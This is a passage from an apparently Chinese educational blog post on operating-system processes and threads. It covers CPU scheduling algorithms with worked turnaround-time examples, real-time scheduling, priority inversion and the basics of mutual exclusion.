寄存器存储栈指针、程序计数器等执行信息，程序状态寄存器存储溢出、进位等程序状态。</li><li>进程控制信息。操作系统控制和协调各种活动进程所需的额外信息。比如优先级、进程运行态、调度算法相关信息、存储管理信息等。</li></ul></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">映像名称                       PID 会话名              会话#       内存使用</span><br><span class="line">========================= ======== ================ =========== ============</span><br><span class="line">System Idle Process              0 Services                   0          8 K</span><br><span class="line">System                           4 Services                   0      1,060 K</span><br><span class="line">Secure System                  168 Services                   0     75,552 K</span><br><span class="line">Registry                       248 Services                   0    227,004 K</span><br><span class="line">smss.exe                       708 Services                   0      1,332 K</span><br><span class="line">csrss.exe                      864 Services                   0      5,612 K</span><br><span class="line">wininit.exe                   1168 Services                   0      6,716 K</span><br><span class="line">csrss.exe                     1176 Console                    1     12,260 K</span><br><span class="line">services.exe                  1240 Services                   0     17,772 K</span><br><span class="line">LsaIso.exe                    1248 Services                   0      3,756 K</span><br></pre></td></tr></table></figure><h3 id="模式切换和进程切换">模式切换和进程切换</h3><p>内核包含了重要的系统功能，常驻内存，管理资源和支撑系统。例如内核管理着进程的创建、终止、调度、同步、通信等，并且管理着存储空间中进程地址分配、内存交换、段页管理等功能。中断处理也是通过内核完成的。</p><p>在程序状态寄存器中存在指示执行模式的位。</p><ol><li>内核模式。它由操作系统直接控制，具有更多的优先权和特权。部分底层的 IO 指令、寄存器操作指令、内存管理指令只能通过特权模式由内核发出。部分内存也只能通过特权模式由内核访问。</li><li>用户模式。它具备较少的优先权，用户在该模式下运行指令。</li></ol><p><strong>进程创建时</strong>，操作系统分配内存和用于管理进程的数据结构，然后对进程进行初始化，将新进程插入对应队列。</p><p>进程切换由<strong>系统中断</strong>和<strong>系统调用</strong>完成。系统中断又分为普通中断和陷阱。<strong>进程切换</strong>的详细步骤：</p><ol><li>保存当前处理器的上下文环境，比如寄存器信息。</li><li>更新进程控制块的信息，将进程控制块移动到相应的队列。</li><li>选择另外一个进程，更新它的进程控制块信息。</li><li>更新内存管理数据结构。</li><li>执行结束后，恢复之前的上下文环境，载入之前寄存器的值。</li></ol><img src="http://cdn.blog-blockchain.xyz/202212131523752.png" alt="图片1" style="zoom: 50%;" /><p><strong>模式切换的过程</strong>：当发生系统中断时，程序计数器置为中断处理程序开始地址，然后从用户模式切换成内核模式，以便执行特权指令。注意模式切换的过程可以不改变进程的状态。</p><h3 id="线程">线程</h3><p><strong>进程是拥有资源的最小单位</strong>，也是调度和执行的基本单位。线程是单个进程内更加细粒度的并发执行的单位，是<strong>调度的最小单位</strong>。线程的创建时间更短、终止花费的时间更短、线程切换时间比进程切换时间更短，因此线程更加轻量级，提高了不同程序间通信的效率。<strong>调度和分派是在线程的基础上完成的</strong>。</p><p>一个进程可能有多个线程，每个线程包括</p><ol><li>执行状态（运行、就绪等）</li><li>未运行时保存的线程上下文</li><li>执行栈</li><li>用于局部变量的静态存储空间</li><li>与进程内其他线程共享的内存和资源访问</li></ol><p><img src="http://cdn.blog-blockchain.xyz/202212291244894.png" alt="image-20221229124455762"></p><p>**一个进程中的所有线程共享一个地址空间和进程所拥有的资源。一个线程对共享资源的修改都将影响同一进程的其他线程的环境。**线程也包括了和进程类似的状态和基本操纵：派生、阻塞、解除阻塞、结束。</p><p>线程可以分为</p><ul><li>用户级线程。线程的管理工作都由应用程序完成，内核意识不到线程的存在。因此，用户线程由应用程序决定，可以运行在任何操作系统上。但是当用户级线程请求系统调用时，<strong>会阻塞当前进程中所有的用户级线程</strong>。<strong>不能利用多处理器技术</strong>。</li><li>内核级线程。线程的管理工作由内核完成，允许同一进程内的多个线程被多处理器处理，<strong>一个线程阻塞时，内核可以调度其他线程</strong>。但是，内核级线程切换时，需要切换到内核模式，会有额外开销。</li></ul><h3 id="进程调度">进程调度</h3><p>当多个进程或者线程竞争 CPU 时，需要选择下一个要运行的进程或者线程，OS 中有完成这个工作的调度程序（scheduler）。</p><p>调度根据距离执行的远近，分为</p><ul><li>长程调度。决定哪个程序可以进入系统中处理，创建进程</li><li>中程调度。内存的交换部分，主要是考虑并发度的限制和存储的限制。</li><li>短程调度。最为频繁的调度程序，直接决定下次执行哪个进程。</li></ul><p>具体如下图所示</p><p><img src="http://cdn.blog-blockchain.xyz/202301062241445.png" alt="image-20230106224153374"></p><p>下面是一些会用到的概念：</p><ul><li>响应时间。从用户提交一个请求开始，到接收响应之间的时间间隔。由输入传送时间、处理时间、响应传送时间构成。</li><li>截止时间。某任务必须开始执行的最迟时间，或必须完成的最迟时间。</li><li>系统吞吐量。在单位时间内，系统所完成的进程数。</li><li>处理器利用率。处理器处于忙状态的时间百分比。</li><li>周转时间。一个进程从提交到完成之间的时间间隔，等于等待资源的时间+执行时间。</li><li>平均周转时间。多个进程周转时间的平均值。</li><li>带权周转时间：进程的周转时间与系统为它提供的服务时间之比。服务时间是系统预计完成需要的时间。</li><li>平均带权周转时间：多个进程带权周转时间的平均值。</li></ul><p>短期调度会直接影响系统性能，需要达到的目标是：用户感知的交互响应时间尽可能短、用户程序完成时间尽可能短、处理器利用效率尽可能高。具体如下图</p><p><img src="http://cdn.blog-blockchain.xyz/202301062335665.png" alt="image-20230106233503614"></p><h3 id="调度算法">调度算法</h3><p>调度可以采用强制优先级，但是可能造成某些进程饥饿，也就是长时间得不到执行机会，因此可以采用动态优先级的方案。动态优先级调度算法分为<strong>抢占和非抢占</strong>，主要区别在于抢占式能中断正在执行的进程，然后执行新的进程。非抢占式需要等待当前进程执行完或者请求服务时被阻塞，新的进程才能执行。</p><p>在决定哪个就绪进程执行时， 有三个关键参数。</p><ul><li>w = 目前为止在系统里的等待时间</li><li>e = 目前为止花费的执行时间</li><li>s = 进程所需的总服务时间，包括 e; 这个参数需要估计或者由用户提供。</li></ul><p>不同的目标就有不同的调度算法，下表是调度算法概览：</p><table><thead><tr><th style="text-align:center"></th><th style="text-align:center"><strong>FCFS</strong></th><th style="text-align:center"><strong>Round robin</strong></th><th style="text-align:center"><strong>SPN</strong></th><th style="text-align:center"><strong>SRT</strong></th><th style="text-align:center"><strong>HRRN</strong></th><th style="text-align:center"><strong>Feedbadk</strong></th></tr></thead><tbody><tr><td style="text-align:center">选择函数</td><td style="text-align:center">max[w]</td><td style="text-align:center">常数</td><td style="text-align:center">min[s]</td><td style="text-align:center">min[s-e]</td><td style="text-align:center">max[(w+s)/s]</td><td style="text-align:center">参后描述</td></tr><tr><td style="text-align:center">决策模式</td><td style="text-align:center">非抢占</td><td style="text-align:center">抢占(时间片完)</td><td style="text-align:center">非抢占</td><td style="text-align:center">抢占（到达时）</td><td style="text-align:center">非抢占</td><td style="text-align:center">抢占(时间片完)</td></tr><tr><td style="text-align:center">吞吐量</td><td style="text-align:center">不强调</td><td style="text-align:center">时间片小时，吞吐量低</td><td style="text-align:center">高</td><td style="text-align:center">高</td><td style="text-align:center">高</td><td style="text-align:center">不强调</td></tr><tr><td style="text-align:center">响应时间</td><td style="text-align:center">可能很高，尤其在进程执行时间差别大时</td><td style="text-align:center">为短进程提供较好的响应时间</td><td style="text-align:center">为短进程提供较好的响应时间</td><td style="text-align:center">提供较好的响应时间</td><td style="text-align:center">提供较好的响应时间</td><td style="text-align:center">不强调</td></tr><tr><td style="text-align:center">开销</td><td style="text-align:center">最小</td><td style="text-align:center">最小</td><td style="text-align:center">可能较大</td><td style="text-align:center">可能较大</td><td style="text-align:center">可能较大</td><td style="text-align:center">可能较大</td></tr><tr><td style="text-align:center">对进程影响</td><td style="text-align:center">对短进程不利；对 I/O 密集型进程不利</td><td style="text-align:center">公平对待</td><td style="text-align:center">对长进程不利</td><td style="text-align:center">对长进程不利</td><td style="text-align:center">平衡性好</td><td style="text-align:center">对 I/O 密集型进程可能有利</td></tr><tr><td style="text-align:center">饥饿</td><td style="text-align:center">无</td><td style="text-align:center">无</td><td style="text-align:center">可能</td><td style="text-align:center">可能</td><td style="text-align:center">无</td><td style="text-align:center">可能</td></tr></tbody></table><h4 id="先来先服务-FCFS">先来先服务 FCFS</h4><p>选择就绪队列中存在时间最长的进程运行，即按<strong>请求 CPU 的顺序使用 CPU</strong>。对于下面的调度，结果如下图。</p><table><thead><tr><th><strong>进程名</strong></th><th><strong>产生时间</strong></th><th><strong>服务时间</strong></th></tr></thead><tbody><tr><td><strong>A</strong></td><td>0</td><td>3</td></tr><tr><td><strong>B</strong></td><td>2</td><td>6</td></tr><tr><td><strong>C</strong></td><td>4</td><td>4</td></tr><tr><td><strong>D</strong></td><td>6</td><td>5</td></tr><tr><td><strong>E</strong></td><td>8</td><td>2</td></tr></tbody></table><img src="http://cdn.blog-blockchain.xyz/202301062359685.png" alt="image-20230106235907630" style="zoom:50%;" /><p>平均周转时间 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">7</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">9</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">12</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">12</span><span class="mclose">)</span><span class="mord">/5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8.6</span></span></span></span>，平均带权周转时间</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2661em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5801em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.735em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">7</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">9</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2.56</span></span></span></span></span></p><p>FCFS 是非抢占调度算法，<strong>有利于 CPU 繁忙型的进程，而不利于 I/O 繁忙型的进程</strong>，平均周转时间长，不利于短进程，因为等待时间较长。</p><h4 id="时间片轮转调度算法-RR">时间片轮转调度算法 RR</h4><p>每个进程被分配一个时间片，周期性产生时钟中断，中断时当前进程进入就绪队列末尾，基于 FCFS 选择下一个作业运行。<strong>如果进程在时间片内阻塞或结束，则 CPU 立即执行调度</strong>。</p><p>这是抢占式算法，时间片用完之后一定会被中断。</p><table><thead><tr><th style="text-align:center"><strong>进程名</strong></th><th style="text-align:center"><strong>产生时间</strong></th><th style="text-align:center"><strong>服务时间</strong></th><th style="text-align:center"><strong>时间片</strong></th></tr></thead><tbody><tr><td style="text-align:center"><strong>A</strong></td><td style="text-align:center">0</td><td style="text-align:center">3</td><td style="text-align:center">1</td></tr><tr><td style="text-align:center"><strong>B</strong></td><td style="text-align:center">2</td><td style="text-align:center">6</td><td style="text-align:center">1</td></tr><tr><td style="text-align:center"><strong>C</strong></td><td style="text-align:center">4</td><td style="text-align:center">4</td><td style="text-align:center">1</td></tr><tr><td style="text-align:center"><strong>D</strong></td><td style="text-align:center">6</td><td style="text-align:center">5</td><td style="text-align:center">1</td></tr><tr><td style="text-align:center"><strong>E</strong></td><td style="text-align:center">8</td><td style="text-align:center">2</td><td style="text-align:center">1</td></tr></tbody></table><img src="http://cdn.blog-blockchain.xyz/202301262100605.png" style="zoom:50%;" /><p>**先添加新进程到队尾，再把过了时间片的进程放在最后。**具体过程如下，需要每个时刻：</p><ol><li>A2。这里标记的方法是，进程名字后的数字表示还剩下的服务时间。</li><li>B6A1</li><li>A1B5</li><li>B5C4</li><li>C4B4</li><li>B4D6C3</li></ol><p>过程以此类推。RR 算法属于抢占性算法，常用于分时系统。时间片的长短会显著地影响系统的性能，太短则进程切换太频繁，太长则短进程会产生时间浪费。另外，由于 IO 会阻塞进程，所以<strong>对 IO 密集类型的进程不利，对 CPU 密集的类型有利</strong>。在 RR 算法的基础上，提出了改进后的 VRR 算法，用于改善 IO 密集类型进程的不利地位。</p><h4 id="短进程优先-SJF-SPF-SPN">短进程优先 SJF/SPF/SPN</h4><p>短进程优先算法是<strong>非抢占式</strong>的算法，每当当前进程结束，就会根据当前每个进程的服务时间选择执行哪一个进程。</p><table><thead><tr><th><strong>进程名</strong></th><th><strong>产生时间</strong></th><th><strong>服务时间</strong></th></tr></thead><tbody><tr><td><strong>A</strong></td><td>0</td><td>3</td></tr><tr><td><strong>B</strong></td><td>2</td><td>6</td></tr><tr><td><strong>C</strong></td><td>4</td><td>4</td></tr><tr><td><strong>D</strong></td><td>6</td><td>5</td></tr><tr><td><strong>E</strong></td><td>8</td><td>2</td></tr></tbody></table><img src="http://cdn.blog-blockchain.xyz/202301262107906.png" alt="image-20230126210727844" style="zoom:50%;" /><p>核心点在于进程结束之后，选择服务时间最短的进程执行。由于短进程优先，所以服务时间长的进程容易饥饿，同时也减少了平均周转时间。服务时间是用户估计的时间，但是不一定等于实际需要占用处理机的时间。由于没有抢占机制，可能不适合某些场景。</p><p>平均周转时间 <code>(3+7+11+14+2)/5=7.4</code>，平均带权周转时间 <code>(3/3+7/6+11/4+14/5+2/2)/5=1.74</code></p><h4 id="剩余时间最短优先-SRT">剩余时间最短优先 SRT</h4><p>剩余时间最短优先算法是<strong>抢占式</strong>的算法，每当当前进程结束<strong>或者新进程到来</strong>，就会根据当前每个进程剩余的服务时间选择执行哪一个进程。数据与之前的相同，得到的结果如下。</p><img src="http://cdn.blog-blockchain.xyz/202301262123148.png" alt="image-20230126212347084" style="zoom:50%;" /><ul><li>时刻 2 时，A 剩下 1，B 剩下 6，执行 A</li><li>时刻 3 时，B 剩下 6，执行 B</li><li>时刻 4 时，B 剩下 5，C 剩下 4，所以抢占，执行 C。</li><li>时刻 6 时，B 剩下 5，C 剩下 2，D 剩下 5.</li><li>时刻 8 时，B 剩下 5，D 剩下 5，E 剩下 2，所以执行 E。</li><li>时刻 10 时，<strong>因为 B 和 D 剩下时间相同，按照入队顺序，执行 B</strong></li><li>时刻 15 时，执行 D。</li></ul><p>平均周转时间 <code>(3+13+4+14+2)/5=7.2</code>，平均带权周转时间 <code>(3/3+13/6+4/4+14/5+2/2)/5=1.59</code>。周转时间方面，SRT 比 SJF 性能要好，只要就绪，短作业可以立即被选择执行。但是仍然存在长进程饥饿等问题。</p><h4 id="高响应比优先-HRRN">高响应比优先 HRRN</h4><p>当前进程执行完毕或需要阻塞时，选择就绪队列中响应比最高的进程投入执行。他是<strong>非抢占性</strong>调度算法。响应比的计算 <code>(等待时间+要求服务时间)/要求服务时间</code>。</p><table><thead><tr><th><strong>进程名</strong></th><th><strong>产生时间</strong></th><th><strong>服务时间</strong></th></tr></thead><tbody><tr><td><strong>A</strong></td><td>0</td><td>3</td></tr><tr><td><strong>B</strong></td><td>2</td><td>6</td></tr><tr><td><strong>C</strong></td><td>4</td><td>4</td></tr><tr><td><strong>D</strong></td><td>6</td><td>5</td></tr><tr><td><strong>E</strong></td><td>8</td><td>2</td></tr></tbody></table><img src="http://cdn.blog-blockchain.xyz/202301262308365.png" alt="image-20230126230822298" style="zoom: 50%;" /><ul><li>时刻 3，A 执行结束，只剩下 B。所以执行 B。</li><li>时刻 9，B 执行结束，C 响应比(5+4)/4=2.25，D 响应比(3+5)/5=1.6，所以执行 C。</li><li>时刻 13，C 执行完，D 响应比(7+5)/5=2.4，E 响应比(5+2)/2，所以执行 E。</li></ul><p>HRRN 算法其实是动态权重算法，既考虑了短进程不应该等待过长的时间，又考虑了长进程不至于饥饿。但是计算响应比会增加开销。</p><h4 id="反馈调度-FB">反馈调度 FB</h4><p>采用了「惩罚运行时间较久的进程」 的思想，算法有很多种，大致的思路是维护多个就绪队列，每个队列的优先级不同，进程根据一定的规则动态调整优先级。注意是<strong>抢占式</strong>调度算法。</p><p>下面介绍一种基于时间片轮转的反馈调度算法，具体规则如下：</p><ol><li><p>设置多个就绪队列，每个队列赋予不同优先级。</p><ol><li>第一队列优先级最高，依次递减；</li><li>各个队列中进程执行的时间片不相同，优先级越高的队列，时间片越小。</li></ol></li><li><p>新进程进入时，首先放入第一个队列尾，按 FCFS 原则排队。</p></li><li><p>如果进程在当前队列规定的时间片内完成则退出，一般而言，从队列 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 中调度的进程允许执行 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8247em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span></span></span></span> 的时间，然后才被抢占，降级到下一个优先级队列（如果没有被抢占（无其他进程需调度），则当前进程不降级）。</p></li><li><p>到达最低优先级队列后，不再降级。</p></li><li><p>仅当第一队列空闲时，才调度第二队列中的进程，依次类推。</p></li></ol><p>仍然是之前的例子，调度的结果如下，<strong>队列编号从 0 开始</strong>。</p><p><img src="http://cdn.blog-blockchain.xyz/202301271656699.png" alt="image-20230127165612521"></p><ul><li>时刻 0，A 进入队列 0，允许执行的时间是 1。</li><li>时刻 1，因为没有其他进程，A 不降级，进入队列 0，允许执行时间 1。执行 A。</li><li>时刻 2，A 时间片用完，被抢占，队列 0 是 B，队列 1 是 A，所以 B 执行一个单位。</li><li>时刻 3，B 时间片用完，队列 1 是 AB，所以执行 A。</li><li>时刻 4，A 执行完退出，队列 0 是 C，队列 1 是 B，所以执行 C。</li><li>时刻 5，C 执行完，队列 1 是 BC，所以执行 B。</li><li>时刻 6，由于 B 允许执行 2 个单位才被抢占，所以继续执行。</li><li>时刻 7，队列 0 是 D，队列 1 是 C，队列 2 是 B。</li><li>以此类推</li></ul><p>多级反馈队列调度算法性能较好，短进程可以在前面几个队列执行完，长进程允许执行的时间也能快速增长。但是如果一直提交短进程，长进程仍然可能饥饿。</p><h3 id="实时系统的调度">实时系统的调度</h3><p>实时系统能够<strong>即时</strong>响应外部事件的请求，在规定的时间内完成对该事件的处理，并控制所有实时任务<strong>协调一致</strong>地运行。规定的时间分为</p><ul><li>开始截止时间：必须在某个时间之前执行任务。</li><li>完成截至时间：必须在某个时间之前完成任务。</li></ul><h4 id="实时任务">实时任务</h4><p>实时任务一般有如下信息：</p><ul><li>就绪时间</li><li>启动的限期（starting deadline）</li><li>完成的限期（completion deadline）</li><li>处理的时间：任务执行到完成的时间</li><li>资源需求：任务执行过程中所需的资源集</li><li>优先级：度量任务的相对重要性</li><li>子任务结构：一个任务可分解为一个必须执行的子任务和一个可选执行子任务，前者有硬截止时间（hard deadline）</li></ul><p>可以知道，越早执行就越容易满足期限。非抢占方式可以更好的安排任务，满足启动的期限。抢占的方式可以更好的满足完成的期限。</p><h4 id="调度算法的组成">调度算法的组成</h4><p>我们之前讨论的调度算法，都是实时系统的调度算法。实时系统的调度则是由调度方法和抢占的方式决定的。这一小节会从理论上概括调度算法。</p><p>调度方法可以分成如下几类：</p><ol><li><strong>静态表驱动</strong>：他用于调度<strong>周期性实时任务</strong>，根据任务周期到达的时间、执行时间、完成截止时间（ending deadline）以及任务的优先级，<strong>制订调度表</strong>。这种算法不灵活，静态的调度表要经常修改。</li><li><strong>静态优先级抢占调度法</strong>：多用于非实时多道程序系统，根据系统时间的约束赋予优先级。多道程序系统是在<a href="https://baike.baidu.com/item/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%86%85%E5%AD%98/9021807?fromModule=lemma_inlink">计算机内存</a>中同时存放几道相互独立的程序，使它们在管理<a href="https://baike.baidu.com/item/%E7%A8%8B%E5%BA%8F%E6%8E%A7%E5%88%B6?fromModule=lemma_inlink">程序控制</a>之下，相互穿插的运行。也就是一般意义上的单 CPU，微观串行模式。</li><li><strong>基于动态规划的调度法</strong>：当实时任务到达后动态地创建一张调度表，如果能够满足当前任务地时间约束，那么立即执行新任务。</li><li><strong>动态尽力调度法</strong>：广泛用于非周期性实时任务调度，当任务到达时，系统根据其属性赋予优先级，优先级高的先调度。但是可能难以兼顾任务的时间约束。</li></ol><p>抢占方式可以分成如下几类：</p><ol><li>基于时间片轮转的抢占式。响应时间一般为<strong>秒级</strong>。</li><li>基于优先级的非抢占式。响应时间为<strong>几百毫秒到几秒</strong>。</li><li>基于优先级的抢占式。响应时间<strong>几毫秒至几十毫秒</strong></li><li>立即抢占式。响应时间<strong>微秒至毫秒级</strong>。</li></ol><p>针对每种情况的调度算法就不细说了，内容确实很繁杂。</p><h4 id="优先级反转">优先级反转</h4><p>优先级反转，是指某同步<strong>资源被较低优先级的进程/线程所拥有</strong>，较高优先级的进程/线程竞争该同步资源未获得该资源，而使得较高优先级进程/线程反而推迟被调度执行的现象。这是是一种<strong>不希望发生</strong>的任务调度状态。在该种状态下，一个高优先级任务间接被一个低优先级任务所抢先(preempted)，使得两个任务的相对优先级被倒置。</p><p>有一种解决方法叫<strong>优先级继承</strong>，也就是占有了资源的进程的优先级，继承共享这个进程的优先级。</p><h3 id="进程的同步">进程的同步</h3><p>这里的进程的并发都是指多道程序系统，宏观并行，微观穿行，也就是<strong>单处理器交替执行</strong>。进程是<strong>独立</strong>的个体，可以<strong>异步</strong>、并发，但是 CPU、内存等资源只能有限地使用。</p><p>部分术语如下：</p><ul><li>原子操作。由一个或多个指令序列实现的动作或函数，对外不可见，一组指令要么都执行，要么都不执行。</li><li>互斥。当一个进程在临界区访问共享资源时，其他进程不能进入该临界区访问共享资源的情形。</li><li>临界资源。不可同时访问，必须互斥访问的资源，如打印机。</li><li>临界区。访问临界资源的代码，任意时刻只能由一个进程在这段代码中运行。</li><li>忙等现象。当一个进程等待进入临界区时，它会继续消耗处理器的时间。</li><li>活锁。两个或两个以上的进程为响应其他进程而持续改变自己状态，但是<strong>不做有用工作</strong>的情形。</li><li>死锁。两个或两个以上的进程因等待其他进程做完某些事而<strong>不能继续执行</strong>的情形。</li><li>竞争条件。多个进程或线程读写共享的数据时，结果取决于多个进程的指令执行顺序。</li><li>饥饿。一个具备执行条件的进程，被调度程序无限期的忽视而不能调度的情形。</li></ul><img src="http://cdn.blog-blockchain.xyz/202301280943718.png" alt="image-20230128094358647" style="zoom: 33%;" /><p>由于进程执行的相对速度不可预测，资源的共享和协调就较为困难。比如某个变量被多个进程共享，那么每个进程读取这个变量时获得的值，可能不确定。所以需要设计控制访问共享资源的方法。</p><p>除了<strong>基于资源共享</strong>的进程之间的合作，还有<strong>基于通信</strong>的进程之间的合作。一个进程执行的结果可能由其他进程提供的信息决定。比如必须等接收到特定的信号之后，某个进程才能开始执行。</p><h4 id="互斥">互斥</h4><p>为了控制进程对临界资源的访问，提出了互斥的概念，互斥的性质如下：</p><ol><li><strong>空闲让进</strong>：如临界区空闲，则有进程申请就立即进入。</li><li><strong>忙则等待</strong>：每次只允许一个进程处于临界区。</li><li><strong>有限等待</strong>：保证进程在有限时间内能进入临界区。</li><li><strong>让权等待</strong>：进程在临界区不能长时间阻塞等待某事件。</li></ol><h4 id="软件方法">软件方法</h4><p>在编程中我们可以用最原始的方法实现互斥，这叫做实现互斥的<strong>软件方法</strong>。他的核心思想在于：</p><ol><li>进入临界区时，设置和检查一些标志，<strong>判断临界区是否被占有</strong>。</li><li>若已有进程在临界区，则在临界区的入口，<strong>循环地检查标志，等待临界区空闲后访问</strong>。</li><li>进程离开临界区时，需要修改标志。</li></ol><p>这是单 CPU 的背景下的进程调度，就是说每个时刻只能运行一个进程，微观串行。下面不同的进程中是访问同样的临界区。</p><p><strong>单标志法</strong></p><p>进程访问完临界资源后会把使用临界资源的权限主动转让给另一个进程。即每个进程进入临界区的权限只能被另一个进程赋予。通过一个标志表示应该执行哪一个进程。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 